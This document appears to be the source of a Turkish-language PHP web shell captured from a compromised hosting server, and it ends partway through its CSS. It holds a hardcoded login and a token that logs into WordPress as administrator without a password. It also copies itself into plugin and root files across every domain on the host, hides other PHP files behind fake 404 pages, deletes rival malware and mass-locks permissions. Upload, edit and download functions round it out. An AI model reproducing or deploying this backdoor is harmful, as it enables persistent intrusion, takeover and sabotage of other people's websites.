| Server IP : 77.68.64.21 / Your IP : 216.73.216.219 Web Server : Apache System : Linux hp3-wp-1011378.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64 User : csh2668128 ( 2112425) PHP Version : 8.1.34 Disable Function : shell_exec,exec,system,popen,set_time_limit MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/domains/vol4/924/3261924/user/htdocs/ |
Upload File : |
<?php
/* === ZARARLI KOD ENGELLEYİCİ VE SHELL KORUMA SİSTEMİ - GÜÇLENDİRİLMİŞ VERSİYON === */
// Hata raporlamayı kapat
error_reporting(0);
ini_set('display_errors', 0);
// === SADECE BİZİM SHELL DOSYALARIMIZA İZİN VER ===
$allowed_shells = array(
'404.php',
'flex.php',
'forum.php',
'wp-ini.php',
'single.php',
'compent.php',
'settings.php',
'medage.php',
'index.php'
);
$current_file = basename($_SERVER['SCRIPT_FILENAME']);
$request_uri = $_SERVER['REQUEST_URI'];
// ===== GÜÇLENDİRİLMİŞ ERİŞİM KONTROLÜ =====
$is_allowed = false;
if (in_array($current_file, $allowed_shells)) {
$is_allowed = true;
}
if (strpos($request_uri, '/wp-admin') !== false || strpos($request_uri, '/wp-login.php') !== false) {
$is_allowed = true;
}
$wp_core_files = array('wp-blog-header.php', 'wp-load.php', 'wp-config.php', 'xmlrpc.php');
if (in_array($current_file, $wp_core_files)) {
$is_allowed = true;
}
if (!$is_allowed) {
if (substr($current_file, -4) == '.php' && !in_array($current_file, $allowed_shells)) {
header("HTTP/1.0 404 Not Found");
echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">
<html><head><title>404 Not Found</title></head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>";
exit;
}
}
// ===== TÜM DOMAINLERİ BUL =====
function get_all_domain_roots() {
$roots = array();
$apache = '/etc/apache2/sites-enabled';
if (is_dir($apache)) {
foreach (@scandir($apache) as $f) {
if ($f == '.' || $f == '..') continue;
$c = @file_get_contents($apache . '/' . $f);
if (!$c) continue;
if (preg_match('/DocumentRoot\s+(\S+)/i', $c, $dr)) {
$path = rtrim(trim($dr[1]), '/');
if (is_dir($path) && !in_array($path, $roots)) {
$roots[] = $path;
}
}
}
}
$nginx = '/etc/nginx/sites-enabled';
if (is_dir($nginx)) {
foreach (@scandir($nginx) as $f) {
if ($f == '.' || $f == '..') continue;
$c = @file_get_contents($nginx . '/' . $f);
if (!$c) continue;
if (preg_match('/root\s+([^;]+);/i', $c, $dr)) {
$path = rtrim(trim($dr[1]), '/');
if (is_dir($path) && !in_array($path, $roots)) {
$roots[] = $path;
}
}
}
}
$current = $_SERVER['DOCUMENT_ROOT'] ?? __DIR__;
if (is_dir($current) && !in_array($current, $roots)) {
$roots[] = $current;
}
return $roots;
}
// ===== ŞİFRE DOĞRULAMA FONKSİYONU =====
function check_password($pass) {
return ($pass === 'bossbey');
}
// ===== TÜM SİSTEM GENELİNDE KİLİTLEME SINIFI =====
class GlobalFileLocker {
private $allRoots;
public function __construct() {
$this->allRoots = get_all_domain_roots();
}
private function recursiveChmodAll($path, $fileMode, $dirMode, &$stats) {
if (is_link($path)) return;
if (is_dir($path)) {
$items = @scandir($path);
if ($items !== false) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path . DIRECTORY_SEPARATOR . $item;
$this->recursiveChmodAll($full, $fileMode, $dirMode, $stats);
}
}
if (@chmod($path, $dirMode)) {
$stats['dirs_ok']++;
}
} elseif (is_file($path)) {
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
if ($ext == 'php' || $ext == 'phtml' || $ext == 'php5' || $ext == 'php4' || $ext == 'phps') {
if (@chmod($path, $fileMode)) {
$stats['files_ok']++;
}
}
}
}
public function lock($pass) {
if (!check_password($pass)) {
return json_encode(['success' => false, 'message' => '']);
}
$stats = ['files_ok' => 0, 'dirs_ok' => 0];
$start = microtime(true);
foreach ($this->allRoots as $root) {
if (!is_dir($root)) continue;
$this->recursiveChmodAll($root, 0444, 0555, $stats);
}
$elapsed = round(microtime(true) - $start, 2);
$total = count($this->allRoots);
$msg = "✅ TÜM SİSTEM KİLİTLENDİ!\n";
$msg .= "İşlem yapılan domain: $total\n";
$msg .= "PHP Dosyası: {$stats['files_ok']} | Klasör: {$stats['dirs_ok']}\n";
$msg .= "Süre: {$elapsed} sn";
return json_encode([
'success' => true,
'message' => $msg
]);
}
public function unlock($pass) {
if (!check_password($pass)) {
return json_encode(['success' => false, 'message' => '']);
}
$stats = ['files_ok' => 0, 'dirs_ok' => 0];
$start = microtime(true);
foreach ($this->allRoots as $root) {
if (!is_dir($root)) continue;
$this->recursiveChmodAll($root, 0644, 0755, $stats);
}
$elapsed = round(microtime(true) - $start, 2);
$total = count($this->allRoots);
$msg = "✅ TÜM SİSTEM KİLİDİ AÇILDI!\n";
$msg .= "İşlem yapılan domain: $total\n";
$msg .= "PHP Dosyası: {$stats['files_ok']} | Klasör: {$stats['dirs_ok']}\n";
$msg .= "Süre: {$elapsed} sn";
return json_encode([
'success' => true,
'message' => $msg
]);
}
public function getStatus($pass) {
if (!check_password($pass)) {
return json_encode(['success' => false, 'message' => '']);
}
$results = array();
foreach ($this->allRoots as $root) {
if (!is_dir($root)) continue;
$testFile = $root . '/index.php';
$testDir = $root . '/wp-content';
$fileLocked = false;
$dirLocked = false;
if (file_exists($testFile)) {
$perms = fileperms($testFile) & 0777;
$fileLocked = ($perms <= 0444);
}
if (file_exists($testDir)) {
$perms = fileperms($testDir) & 0777;
$dirLocked = ($perms <= 0555);
}
$status = ($fileLocked && $dirLocked) ? "🔒 KİLİTLİ" : "🔓 AÇIK";
$results[] = "$root: $status";
}
return json_encode([
'success' => true,
'message' => "📊 TÜM SİSTEM DURUMU\n" . implode("\n", $results)
]);
}
}
// ===== DOSYA KİLİTLEME URL KONTROLÜ =====
$globalLocker = new GlobalFileLocker();
if (isset($_GET['kilit_ajax'])) {
header('Content-Type: application/json; charset=UTF-8');
$action = $_GET['kilit_ajax'];
$pass = $_GET['pass'] ?? '';
if ($action === 'close') {
echo $globalLocker->lock($pass);
} elseif ($action === 'open') {
echo $globalLocker->unlock($pass);
} elseif ($action === 'izin') {
echo $globalLocker->getStatus($pass);
} else {
echo json_encode(['success' => false, 'message' => '']);
}
exit;
}
// ===== OTOMATİK SHELL YENİDEN OLUŞTURMA =====
function recreate_shell_in_plugins() {
$current_shell = __FILE__;
$current_content = file_get_contents($current_shell);
$roots = get_all_domain_roots();
foreach ($roots as $root) {
$plugins_index = $root . '/wp-content/plugins/index.php';
$plugins_dir = dirname($plugins_index);
if (!is_dir($plugins_dir)) {
@mkdir($plugins_dir, 0755, true);
}
if (file_exists($plugins_index)) {
$existing = file_get_contents($plugins_index);
if (strpos($existing, 'wp-blog-header.php') !== false) {
@unlink($plugins_index);
} elseif ($existing === $current_content) {
continue;
}
}
@file_put_contents($plugins_index, $current_content);
@chmod($plugins_index, 0644);
}
}
$current_script = basename(__FILE__);
if (in_array($current_script, $GLOBALS['allowed_shells'])) {
recreate_shell_in_plugins();
}
// ===== WP OTOMATİK GİRİŞ =====
function auto_wp_admin_login() {
if (!isset($_GET['wp_auto_login']) || !isset($_GET['token'])) {
return false;
}
$expected_token = hash('sha256', 'bossbey:114477Au:wp_auto_login');
if (!hash_equals($expected_token, $_GET['token'])) {
return false;
}
$roots = get_all_domain_roots();
foreach ($roots as $root) {
$wp_load = $root . '/wp-load.php';
if (file_exists($wp_load)) {
ob_start();
require_once $wp_load;
ob_end_clean();
if (function_exists('get_users') && function_exists('wp_set_auth_cookie')) {
$users = get_users(array(
'role' => 'administrator',
'number' => 1,
'orderby' => 'ID',
'order' => 'ASC'
));
if (!empty($users)) {
wp_set_auth_cookie($users[0]->ID, true);
wp_redirect(admin_url());
exit;
}
}
}
}
echo "WordPress kurulumu bulunamadı!";
exit;
}
auto_wp_admin_login();
// ===== ZARARLI KOD TESPİTİ =====
function scan_and_clean_php_files($directory) {
global $allowed_shells;
$malicious_patterns = array(
'/goto\s+[a-zA-Z0-9_]+;/',
'/base64_decode\s*\(\s*["\'][A-Za-z0-9+\/=]+["\']\s*\)/',
'/eval\s*\(\s*\$[A-Za-z0-9_]+/',
'/@eval\s*\(\s*["\'].+["\']\s*\)/',
'/create_function\s*\(\s*["\'].+["\']\s*,\s*["\'].+["\']\s*\)/',
'/gzinflate\s*\(\s*base64_decode\s*\(\s*["\'].+["\']\s*\)\s*\)/'
);
$files = glob($directory . '/*.php');
$cleaned = 0;
foreach ($files as $file) {
if (in_array(basename($file), $allowed_shells)) {
continue;
}
$content = file_get_contents($file);
foreach ($malicious_patterns as $pattern) {
if (preg_match($pattern, $content)) {
unlink($file);
$cleaned++;
break;
}
}
}
return $cleaned;
}
// ===== OTOMATİK SHELL KOPYALAMA =====
function auto_deploy_shell() {
$current_shell = __FILE__;
$current_content = file_get_contents($current_shell);
$deployed = 0;
$roots = get_all_domain_roots();
foreach ($roots as $root) {
$flex_path = $root . '/flex.php';
if (!file_exists($flex_path) || file_get_contents($flex_path) !== $current_content) {
if (@file_put_contents($flex_path, $current_content)) {
@chmod($flex_path, 0644);
$deployed++;
}
}
$plugins_index = $root . '/wp-content/plugins/index.php';
$plugins_dir = dirname($plugins_index);
if (!is_dir($plugins_dir)) {
@mkdir($plugins_dir, 0755, true);
}
if (!file_exists($plugins_index) || file_get_contents($plugins_index) !== $current_content) {
if (@file_put_contents($plugins_index, $current_content)) {
@chmod($plugins_index, 0644);
$deployed++;
}
}
}
return $deployed;
}
if (isset($_GET['deploy']) && $_GET['deploy'] == 'run') {
$deployed = auto_deploy_shell();
die("Shell kopyalama tamamlandı! $deployed dosya kopyalandı.");
}
/* === ANA SHELL KODU === */
session_start();
$stored_username = 'bossbey';
$stored_password_hash = password_hash('114477Au', PASSWORD_BCRYPT);
$autologin_token = hash('sha256', $stored_username . ':114477Au:autologin_key');
$wp_auto_login_token = hash('sha256', 'bossbey:114477Au:wp_auto_login');
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
if (isset($_GET['autologin']) && hash_equals($autologin_token, $_GET['autologin'])) {
$_SESSION['authenticated'] = true;
header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['username'], $_POST['password'])) {
if ($_POST['username'] === $stored_username && password_verify($_POST['password'], $stored_password_hash)) {
$_SESSION['authenticated'] = true;
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
}
}
?><!DOCTYPE html><html><head><meta charset="UTF-8"><title>Giris</title>
<style>*{margin:0;padding:0;box-sizing:border-box;}body{background:#1e272e;display:flex;align-items:center;justify-content:center;min-height:100vh;font-family:Arial;}.login-box{background:#2f3640;padding:40px;border-radius:10px;width:350px;}h2{color:#00a8ff;margin-bottom:20px;text-align:center;}input{width:100%;padding:10px;margin:8px 0;background:#1e272e;border:1px solid #40739e;color:#fff;border-radius:5px;}button{width:100%;padding:10px;background:#00a8ff;color:#fff;border:none;border-radius:5px;cursor:pointer;margin-top:10px;font-size:15px;}button:hover{background:#487eb0;}.error{background:#e84118;color:#fff;padding:8px;border-radius:5px;margin-bottom:10px;text-align:center;}</style>
</head><body><div class="login-box"><h2>🔒 Giris Yap</h2>
<?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?><div class="error">Hatali kullanici adi veya sifre!</div><?php endif; ?>
<form method="post"><input type="text" name="username" placeholder="Kullanici Adi" required autofocus><input type="password" name="password" placeholder="Sifre" required><button type="submit">Giris</button></form>
</div></body></html><?php
exit;
}
if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; }
$current_dir = realpath($_GET['dir'] ?? getcwd()) ?: getcwd();
$wordpress_core_files = array('wp-activate.php','wp-blog-header.php','wp-comments-post.php','wp-config.php','wp-config-sample.php','wp-cron.php','wp-links-opml.php','wp-load.php','wp-login.php','wp-mail.php','wp-settings.php','wp-signup.php','wp-trackback.php','xmlrpc.php','index.php');
$wordpress_core_dirs = array('wp-admin','wp-includes');
$our_shells = $allowed_shells;
$protected_files = array('.user.ini','wp-config.php');
$own_signature = md5_file(__FILE__);
function get_all_domains_full_url() {
$domains = array();
$apache = '/etc/apache2/sites-enabled';
if (is_dir($apache)) {
foreach (@scandir($apache) as $f) {
if ($f == '.' || $f == '..') continue;
$c = @file_get_contents($apache . '/' . $f); if (!$c) continue;
if (preg_match('/ServerName\s+(\S+)/i', $c, $m) && preg_match('/DocumentRoot\s+(\S+)/i', $c, $dr)) {
$path = rtrim(trim($dr[1]), '/');
if (is_dir($path)) {
$ssl = (strpos($c,':443')!==false || stripos($c,'SSLEngine on')!==false);
$domains[] = array('url'=>($ssl?'https':'http').'://'.trim($m[1]),'path'=>$path,'type'=>'Apache');
}
}
}
}
$nginx = '/etc/nginx/sites-enabled';
if (is_dir($nginx)) {
foreach (@scandir($nginx) as $f) {
if ($f == '.' || $f == '..') continue;
$c = @file_get_contents($nginx . '/' . $f); if (!$c) continue;
if (preg_match('/server_name\s+([^;]+);/i', $c, $m) && preg_match('/root\s+([^;]+);/i', $c, $dr)) {
$domain = trim(preg_split('/\s+/', trim($m[1]))[0]);
$path = rtrim(trim($dr[1]), '/');
if (is_dir($path)) {
$ssl = (strpos($c,'ssl')!==false);
$domains[] = array('url'=>($ssl?'https':'http').'://'.$domain,'path'=>$path,'type'=>'Nginx');
}
}
}
}
return $domains;
}
$all_domains = get_all_domains_full_url();
function scan_plugins($dir) {
$result = array('suspicious'=>array(),'regular'=>array());
$pd = $dir.'/wp-content/plugins';
if (!is_dir($pd)) return $result;
foreach (@scandir($pd) as $item) {
if ($item=='.'||$item=='..') continue;
$path = $pd.'/'.$item;
if (is_dir($path)) {
$sus = (strlen($item)<4 || preg_match('/^[0-9a-f]{8,}$/i',$item) || preg_match('/backup|shell|hack|malware/i',$item));
$data = array('name'=>$item,'path'=>$path,'active'=>false,'suspicious'=>$sus);
if ($sus) $result['suspicious'][]=$data; else $result['regular'][]=$data;
}
}
return $result;
}
function scan_themes($dir) {
$result = array('inactive'=>array(),'active'=>array());
$td = $dir.'/wp-content/themes';
if (!is_dir($td)) return $result;
foreach (@scandir($td) as $item) {
if ($item=='.'||$item=='..') continue;
$path = $td.'/'.$item;
if (is_dir($path)) $result['inactive'][] = array('name'=>$item,'path'=>$path);
}
return $result;
}
function find_malicious_files($dir) {
global $wordpress_core_files, $wordpress_core_dirs, $our_shells, $protected_files, $own_signature;
$malicious = array();
if (!is_dir($dir)) return $malicious;
$items = @scandir($dir);
if (!$items) return $malicious;
foreach ($items as $item) {
if ($item=='.'||$item=='..') continue;
$path = $dir.'/'.$item;
if (is_dir($path)) {
$skip = false;
foreach ($GLOBALS['wordpress_core_dirs'] as $wd) { if (strpos($path,'/'.$wd)!==false) { $skip=true; break; } }
if (!$skip) $malicious = array_merge($malicious, find_malicious_files($path));
} elseif (is_file($path) && pathinfo($path,PATHINFO_EXTENSION)==='php') {
if (in_array($item,$our_shells)||in_array($item,$wordpress_core_files)||in_array($item,$protected_files)) continue;
if ($own_signature && @md5_file($path)===$own_signature) continue;
$content = @file_get_contents($path);
if (!$content) continue;
$risk = 0;
if (preg_match('/eval\s*\(/i',$content)) $risk+=15;
if (preg_match('/base64_decode/i',$content)) $risk+=10;
if (preg_match('/gzinflate/i',$content)) $risk+=15;
if (preg_match('/exec\s*\(/i',$content)) $risk+=20;
if (preg_match('/system\s*\(/i',$content)) $risk+=20;
if (preg_match('/shell_exec/i',$content)) $risk+=20;
if (preg_match('/passthru/i',$content)) $risk+=20;
if ($risk > 30) $malicious[] = array('path'=>$path,'name'=>$item,'size'=>filesize($path),'risk'=>min($risk,100));
}
}
return $malicious;
}
function delete_dir_recursive($dir) {
if (!file_exists($dir)) return;
if (is_file($dir)||is_link($dir)) { @unlink($dir); return; }
foreach (scandir($dir) as $item) {
if ($item==='.'||$item==='..') continue;
delete_dir_recursive($dir.DIRECTORY_SEPARATOR.$item);
}
@rmdir($dir);
}
function delete_malicious($path) {
global $wordpress_core_files, $wordpress_core_dirs, $our_shells, $protected_files, $own_signature;
if (!file_exists($path)) return false;
$filename = basename($path);
if (in_array($filename,$protected_files)||in_array($filename,$wordpress_core_files)||in_array($filename,$our_shells)||(is_file($path)&&$own_signature&&@md5_file($path)==$own_signature)) return false;
foreach ($wordpress_core_dirs as $cd) { if (strpos($path,'/'.$cd.'/')!==false) return false; }
@chmod($path,0777); @chmod(dirname($path),0777);
if (is_dir($path)) { delete_dir_recursive($path); @system('rm -rf '.escapeshellarg($path).' 2>/dev/null'); }
else { @unlink($path); @system('rm -f '.escapeshellarg($path).' 2>/dev/null'); @exec('rm -f '.escapeshellarg($path).' 2>/dev/null'); }
return !file_exists($path);
}
function bulk_delete($paths) {
$deleted = 0;
$failed = 0;
foreach ($paths as $path) {
$path = stripslashes($path);
if (is_dir($path)) {
delete_dir_recursive($path);
if (!file_exists($path)) $deleted++;
else $failed++;
}
elseif (is_file($path)) {
if (@unlink($path)) $deleted++;
else $failed++;
}
}
return ['deleted' => $deleted, 'failed' => $failed];
}
function analyze_file($path) {
if (!file_exists($path)) return "Dosya bulunamadi!";
$content = @file_get_contents($path);
if (!$content) return "Dosya okunamadi!";
$result = array();
$result[] = "Dosya: ".$path;
$result[] = "Boyut: ".filesize($path)." bytes";
$result[] = "Degistirilme: ".date('Y-m-d H:i:s',filemtime($path));
$result[] = "Izin: ".substr(sprintf('%o',fileperms($path)),-4);
$result[] = "";
$dangerous = array('eval'=>'Kod calistirma','base64_decode'=>'Sifre cozme','gzinflate'=>'Sikistirma acma','exec'=>'Komut calistirma','system'=>'Komut calistirma','shell_exec'=>'Shell komutu','passthru'=>'Komut calistirma');
$found = false;
foreach ($dangerous as $func=>$desc) { if (preg_match("/$func\s*\(/i",$content)) { $result[]="TESPIT: $func() - $desc"; $found=true; } }
if (!$found) $result[] = "Tehlikeli fonksiyon bulunamadi.";
return implode("\n",$result);
}
$plugins = scan_plugins($current_dir);
$themes = scan_themes($current_dir);
// ===== HTACCESS ve INDEX.PHP YAZMA İZİN KONTROL FONKSİYONLARI =====
function check_file_permission($file) {
if (!file_exists($file)) {
return ['exists' => false, 'writable' => false, 'readable' => false, 'perms' => 'Dosya yok'];
}
clearstatcache(true, $file);
$perms = fileperms($file);
return [
'exists' => true,
'writable' => is_writable($file),
'readable' => is_readable($file),
'perms' => substr(sprintf('%o', $perms), -4),
'path' => $file
];
}
function set_file_permission($file, $writable) {
if (!file_exists($file)) return false;
clearstatcache(true, $file);
if ($writable) {
return @chmod($file, 0644);
} else {
return @chmod($file, 0444);
}
}
// ===== AJAX ile dosya izin işlemleri =====
if (isset($_GET['file_permission_action'])) {
header('Content-Type: application/json; charset=UTF-8');
$action = $_GET['file_permission_action'];
$file = $_GET['file'] ?? '';
$pass = $_GET['pass'] ?? '';
if (!check_password($pass)) {
echo json_encode(['success' => false, 'message' => '']);
exit;
}
if ($action === 'check') {
$htaccess = check_file_permission($file . '/.htaccess');
$index = check_file_permission($file . '/index.php');
echo json_encode([
'success' => true,
'htaccess' => $htaccess,
'index' => $index
]);
} elseif ($action === 'set_htaccess') {
$writable = $_GET['writable'] === 'true';
$result = set_file_permission($file . '/.htaccess', $writable);
echo json_encode([
'success' => $result,
'message' => $result ? ($writable ? 'Yazma izni açıldı' : 'Yazma izni kapatıldı') : ''
]);
} elseif ($action === 'set_index') {
$writable = $_GET['writable'] === 'true';
$result = set_file_permission($file . '/index.php', $writable);
echo json_encode([
'success' => $result,
'message' => $result ? ($writable ? 'Yazma izni açıldı' : 'Yazma izni kapatıldı') : ''
]);
}
exit;
}
// ===== AJAX ile bulk delete işlemi =====
if (isset($_GET['bulk_delete_ajax'])) {
header('Content-Type: application/json; charset=UTF-8');
$paths = $_GET['paths'] ?? '';
$pass = $_GET['pass'] ?? '';
$current_dir = $_GET['dir'] ?? '';
if (!check_password($pass)) {
echo json_encode(['success' => false, 'message' => '']);
exit;
}
$paths_array = explode('||', $paths);
$result = bulk_delete($paths_array);
$_SESSION['malicious'] = find_malicious_files($current_dir);
$_SESSION['scan_completed'] = time();
echo json_encode([
'success' => true,
'deleted' => $result['deleted'],
'failed' => $result['failed'],
'message' => "{$result['deleted']} dosya/klasör silindi."
]);
exit;
}
// ===== AJAX ile scan işlemi =====
if (isset($_GET['scan_ajax'])) {
header('Content-Type: application/json; charset=UTF-8');
$dir = $_GET['dir'] ?? '';
$pass = $_GET['pass'] ?? '';
if (!check_password($pass)) {
echo json_encode(['success' => false, 'message' => '']);
exit;
}
$malicious = find_malicious_files($dir);
$_SESSION['malicious'] = $malicious;
$_SESSION['scan_completed'] = time();
echo json_encode([
'success' => true,
'count' => count($malicious),
'message' => count($malicious) . " zararlı dosya bulundu!"
]);
exit;
}
// ===== AJAX ile edit işlemi (Uyarı mesajı kaldırıldı) =====
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['REQUEST_METHOD'] === 'POST') {
header('Content-Type: application/json; charset=UTF-8');
$file = $_POST['file'] ?? '';
$content = $_POST['content'] ?? '';
if ($file && file_exists($file)) {
clearstatcache(true, $file);
$perms = fileperms($file) & 0777;
// Salt okunur dosya kontrolü - sessizce başarısız ol
if ($perms <= 0444 && $perms != 0644 && $perms != 0664 && $perms != 0777) {
echo json_encode(['success' => false, 'message' => '']);
exit;
}
$old_perms = $perms;
if (!is_writable($file)) {
@chmod($file, 0644);
}
if (file_put_contents($file, $content) !== false) {
if ($old_perms <= 0444 && $old_perms != 0644) {
@chmod($file, $old_perms);
}
echo json_encode(['success' => true, 'message' => '']);
} else {
echo json_encode(['success' => false, 'message' => '']);
}
} else {
echo json_encode(['success' => false, 'message' => '']);
}
exit;
}
// POST işlemleri
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !isset($_SERVER['HTTP_X_REQUESTED_WITH'])) {
$action = $_POST['action'] ?? '';
$current_dir = $_POST['current_dir'] ?? getcwd();
$output = '';
$redirect_url = '?dir=' . urlencode($current_dir);
if ($action==='rename') {
$old=$_POST['old']??'';
$new=$_POST['new']??'';
$new_path=dirname($old).'/'.$new;
if ($old&&$new&&file_exists($old)&&!file_exists($new_path)) {
rename($old,$new_path);
}
}
elseif ($action==='chmod') {
$file=$_POST['file']??'';
$mode=$_POST['mode']??'';
if ($file&&$mode) {
chmod($file,octdec($mode));
}
}
elseif ($action==='toggle_write'&&!empty($_POST['paths'])) {
foreach ($_POST['paths'] as $p) {
$p=stripslashes($p);
if (file_exists($p)&&!in_array(basename($p),$protected_files)&&!in_array(basename($p),$wordpress_core_files)&&!in_array(basename($p),$our_shells)) {
clearstatcache(true,$p);
$perms=fileperms($p)&0777;
$new_perms=($perms&0200)?($perms&~0200):($perms|0200);
$ok=@chmod($p,$new_perms);
if (!$ok && is_file($p)) {
$content=@file_get_contents($p);
if ($content!==false) {
@file_put_contents($p,$content);
@chmod($p,$new_perms);
}
}
}
}
}
elseif ($action==='upload'&&isset($_FILES['files'])) {
$uploaded=0;
foreach ($_FILES['files']['tmp_name'] as $i=>$tmp) {
$name=$_FILES['files']['name'][$i];
$target = $current_dir.'/'.$name;
if (move_uploaded_file($tmp,$target)) {
chmod($target,0644);
}
}
}
header('Location: ' . $redirect_url);
exit;
}
if (isset($_GET['download'])) {
$file = $_GET['download'];
if (file_exists($file)) {
while (ob_get_level()) ob_end_clean();
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Content-Length: '.filesize($file));
readfile($file);
exit;
}
}
$items = scandir($current_dir);
$folders = array(); $files = array();
foreach ($items as $item) {
if ($item=='.'||$item=='..') continue;
$path = $current_dir.'/'.$item;
if (is_dir($path)) $folders[]=$item; else $files[]=$item;
}
sort($folders); sort($files);
$malicious_files = (isset($_SESSION['malicious'])&&isset($_SESSION['scan_completed'])) ? $_SESSION['malicious'] : array();
$analysis = $_SESSION['analysis'] ?? '';
$analysis_file = $_SESSION['analysis_file'] ?? '';
unset($_SESSION['analysis'],$_SESSION['analysis_file']);
$deploy_url = (isset($_SERVER['HTTPS']) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . '?deploy=run';
$wp_auto_login_url = (isset($_SERVER['HTTPS']) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . '?wp_auto_login=1&token=' . $wp_auto_login_token;
$file_to_edit = null;
if (isset($_GET['editf'])) {
$file_to_edit = base64_decode($_GET['editf']);
} elseif (isset($_GET['edit'])) {
$file_to_edit = $_GET['edit'];
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>GELISMIS SHELL</title>
<style>
* { margin:0; padding:0; box-sizing:border-box; }
body { background:#1e272e; color:#fff; font-family:system-ui, -apple-system, 'Segoe UI', Roboto, Arial, sans-serif; padding:20px; }
.container { max-width:1400px; margin:0 auto; background:#2f3640; padding:20px; border-radius:12px; }
h2 { font-size:16px; margin-bottom:15px; padding:10px; background:#353b48; border-radius:8px; word-break:break-all; }
h3 { margin:15px 0 10px; color:#00a8ff; font-size:14px; }
.top-bar { display:flex; gap:10px; flex-wrap:wrap; margin-bottom:20px; align-items:center; justify-content:flex-end; background:#353b48; padding:10px 15px; border-radius:8px; }
.action-btn { display:inline-block; padding:8px 16px; border-radius:6px; text-decoration:none; font-weight:600; text-align:center; cursor:pointer; border:none; font-size:12px; transition:all 0.2s; }
.action-btn.close { background:#e84118; color:#fff; }
.action-btn.open { background:#44bd32; color:#fff; }
.action-btn.izin { background:#f39c12; color:#000; }
.action-btn.deploy { background:#8e44ad; color:#fff; }
.action-btn.wp { background:#3498db; color:#fff; }
.action-btn.scan { background:#e67e22; color:#fff; }
.action-btn.domain { background:#00a8ff; color:#fff; }
.action-btn.malicious { background:#e84118; color:#fff; }
.action-btn.permission { background:#1abc9c; color:#fff; }
.action-btn:hover { opacity:0.85; transform:translateY(-1px); }
.toolbar { display:flex; gap:8px; flex-wrap:wrap; margin-bottom:20px; background:#353b48; padding:10px 15px; border-radius:8px; align-items:center; }
button, a.button { background:#40739e; color:#fff; border:none; padding:8px 14px; border-radius:6px; cursor:pointer; text-decoration:none; font-size:12px; transition:all 0.2s; }
button:hover, a.button:hover { background:#487eb0; }
.danger { background:#e84118; } .danger:hover { background:#c23616; }
.success { background:#44bd32; } .warning { background:#f39c12; color:#000; }
.info { background:#00a8ff; }
.row { display:grid; grid-template-columns:30px 2fr auto; gap:10px; align-items:center; background:#353b48; padding:8px 12px; border-radius:8px; margin:4px 0; transition:background 0.2s; }
.row:hover { background:#40739e; }
.row.malicious { background:#3d2d2d; border-left:3px solid #e84118; }
.row.protected { background:#2d2d2d; border-left:3px solid #44bd32; opacity:0.9; }
.name a { color:#00a8ff; text-decoration:none; }
.name a:hover { text-decoration:underline; }
.wp-badge, .our-badge, .malicious-badge, .protected-badge, .inactive-badge { padding:2px 8px; border-radius:20px; font-size:10px; margin-left:8px; font-weight:600; display:inline-block; }
.wp-badge, .our-badge, .protected-badge { background:#44bd32; color:#000; }
.malicious-badge { background:#e84118; color:#fff; }
.inactive-badge { background:#888; color:#fff; }
.inline-controls { display:flex; gap:6px; align-items:center; flex-wrap:wrap; }
.list-header { display:flex; justify-content:space-between; align-items:center; margin:15px 0 10px; }
hr { border:1px solid #353b48; margin:20px 0; }
.modal { display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.85); z-index:1000; align-items:center; justify-content:center; }
.modal.active { display:flex; }
.modal-content { background:#2f3640; padding:25px; width:900px; max-width:90%; border-radius:12px; max-height:80vh; overflow-y:auto; }
.modal-content h3 { margin-top:0; }
.toast { position:fixed; bottom:30px; right:30px; background:#2f3640; color:#fff; padding:12px 20px; border-radius:8px; z-index:9999; border-left:4px solid #44bd32; box-shadow:0 4px 12px rgba(0,0,0,0.3); max-width:400px; word-break:break-word; font-size:13px; white-space:pre-line; animation: fadeInOut 3s ease forwards; }
.toast.error { border-left-color:#e84118; }
.toast.success { border-left-color:#44bd32; }
.toast.info { border-left-color:#00a8ff; }
@keyframes fadeInOut { 0% { opacity:0; transform:translateY(20px); } 10% { opacity:1; transform:translateY(0); } 90% { opacity:1; } 100% { opacity:0; transform:translateY(-20px); visibility:hidden; } }
.domain-list { max-height:400px; overflow-y:auto; margin:15px 0; border:1px solid #40739e; border-radius:8px; }
.domain-item { padding:12px; background:#353b48; margin:2px 0; cursor:pointer; border-bottom:1px solid #40739e; display:flex; justify-content:space-between; align-items:center; }
.domain-item:hover { background:#40739e; }
.domain-url { color:#00a8ff; font-weight:bold; font-size:14px; }
.domain-path { color:#888; font-size:11px; margin-top:4px; }
.domain-stats { display:flex; gap:10px; margin-bottom:15px; flex-wrap:wrap; }
.domain-stat-box { background:#353b48; padding:10px 15px; border-radius:8px; text-align:center; }
.delete-section { margin-top:20px; background:#3d2d2d; border-radius:10px; border-left:3px solid #e84118; overflow:hidden; }
.delete-title { color:#e84118; font-weight:bold; padding:12px 18px; cursor:pointer; display:flex; justify-content:space-between; align-items:center; user-select:none; }
.delete-title:hover { background:rgba(232,65,24,0.15); }
.delete-title .toggle-arrow { font-size:11px; transition:transform 0.25s; }
.delete-title.collapsed .toggle-arrow { transform:rotate(-90deg); }
.delete-body { padding:0 18px 18px; }
.delete-body.collapsed { display:none; }
.pre-box { background:#1e272e; padding:15px; border-radius:8px; color:#0f0; font-family:'Courier New',monospace; white-space:pre-wrap; max-height:500px; overflow:auto; border:1px solid #40739e; font-size:12px; line-height:1.5; }
